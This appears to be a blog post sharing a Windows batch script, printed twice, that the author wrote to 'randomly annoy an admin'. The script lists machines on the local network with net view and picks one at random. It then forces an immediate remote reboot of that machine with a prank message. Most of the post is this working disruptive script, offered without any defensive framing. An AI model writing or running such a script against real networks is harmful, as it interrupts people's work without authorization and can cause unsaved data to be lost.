Old script I wrote up one day while thinking about how to best randomly annoy an admin. I never finished the full plan for this, maybe someday. Anyways what it does is dumps a list of the current computers from net view, parses it out. It generates a random number with the %random% variable 2 times, then checks how many items are in the list generated by net view + parsing and checks if the poorbastard variable is less than the number of items in the list, if not it removes the first number from the poorbastard variable then rechecks until it's less or equal to the items in the list. Then issues a remote shutdown command to that computer. Obviously you need admin rights on the remote computer for this to function.
-=The Script=-
@echo off
if exist C:\list2.txt del /f /q C:\list2.txt
net view >> C:\list.txt
for /F "skip=3 tokens=1" %%c IN (C:\list.txt) DO echo %%c >> c:\parsed0.txt
for /f %%G in (C:\parsed0.txt) do if NOT %%G==The echo %%G >> C:\parsed1.txt
for /F "delims=\\ tokens=1" %%g IN (C:\parsed1.txt) DO echo %%g >> C:\list2.txt
del /f /q C:\parsed0.txt > nul
del /f /q C:\parsed1.txt > nul
del /f /q C:\list.txt
for /f %%f in ('find /v /c ^"The command completed successfully.^" ^< C:\list2.txt') do set /a V=%%f
set /a poorbastard=%random%+%random%
echo %poorbastard%
if %poorbastard% LEQ %v% goto kill
if %poorbastard% GTR %v% goto minus50dkp
:minus50dkp
set poorbastard=%poorbastard:~1%
if %poorbastard% LEQ %v% goto kill
if %poorbastard% GTR %v% goto minus50dkp
:kill
setlocal ENABLEDELAYEDEXPANSION
set /a n=1
for /f %%a in (C:\list2.txt) do (
if /I !n! equ %poorbastard% set saygoodnight=%%a
set /a n=!n! + 1
)
echo %poorbastard%
echo %saygoodnight%
shutdown -r -m \\%saygoodnight% -t 00 -c "LEEEEEEEEEEROOOOOOOOY jenkins!!!!!!"
set %saygoodnight%=
set %poorbastard%=
set %v%=
pause
-=The Script=-
@echo off
if exist C:\list2.txt del /f /q C:\list2.txt
net view >> C:\list.txt
for /F "skip=3 tokens=1" %%c IN (C:\list.txt) DO echo %%c >> c:\parsed0.txt
for /f %%G in (C:\parsed0.txt) do if NOT %%G==The echo %%G >> C:\parsed1.txt
for /F "delims=\\ tokens=1" %%g IN (C:\parsed1.txt) DO echo %%g >> C:\list2.txt
del /f /q C:\parsed0.txt > nul
del /f /q C:\parsed1.txt > nul
del /f /q C:\list.txt
for /f %%f in ('find /v /c ^"The command completed successfully.^" ^< C:\list2.txt') do set /a V=%%f
set /a poorbastard=%random%+%random%
echo %poorbastard%
if %poorbastard% LEQ %v% goto kill
if %poorbastard% GTR %v% goto minus50dkp
:minus50dkp
set poorbastard=%poorbastard:~1%
if %poorbastard% LEQ %v% goto kill
if %poorbastard% GTR %v% goto minus50dkp
:kill
setlocal ENABLEDELAYEDEXPANSION
set /a n=1
for /f %%a in (C:\list2.txt) do (
if /I !n! equ %poorbastard% set saygoodnight=%%a
set /a n=!n! + 1
)
echo %poorbastard%
echo %saygoodnight%
shutdown -r -m \\%saygoodnight% -t 00 -c "LEEEEEEEEEEROOOOOOOOY jenkins!!!!!!"
set %saygoodnight%=
set %poorbastard%=
set %v%=
pause
Subscribe to:
Posts (Atom)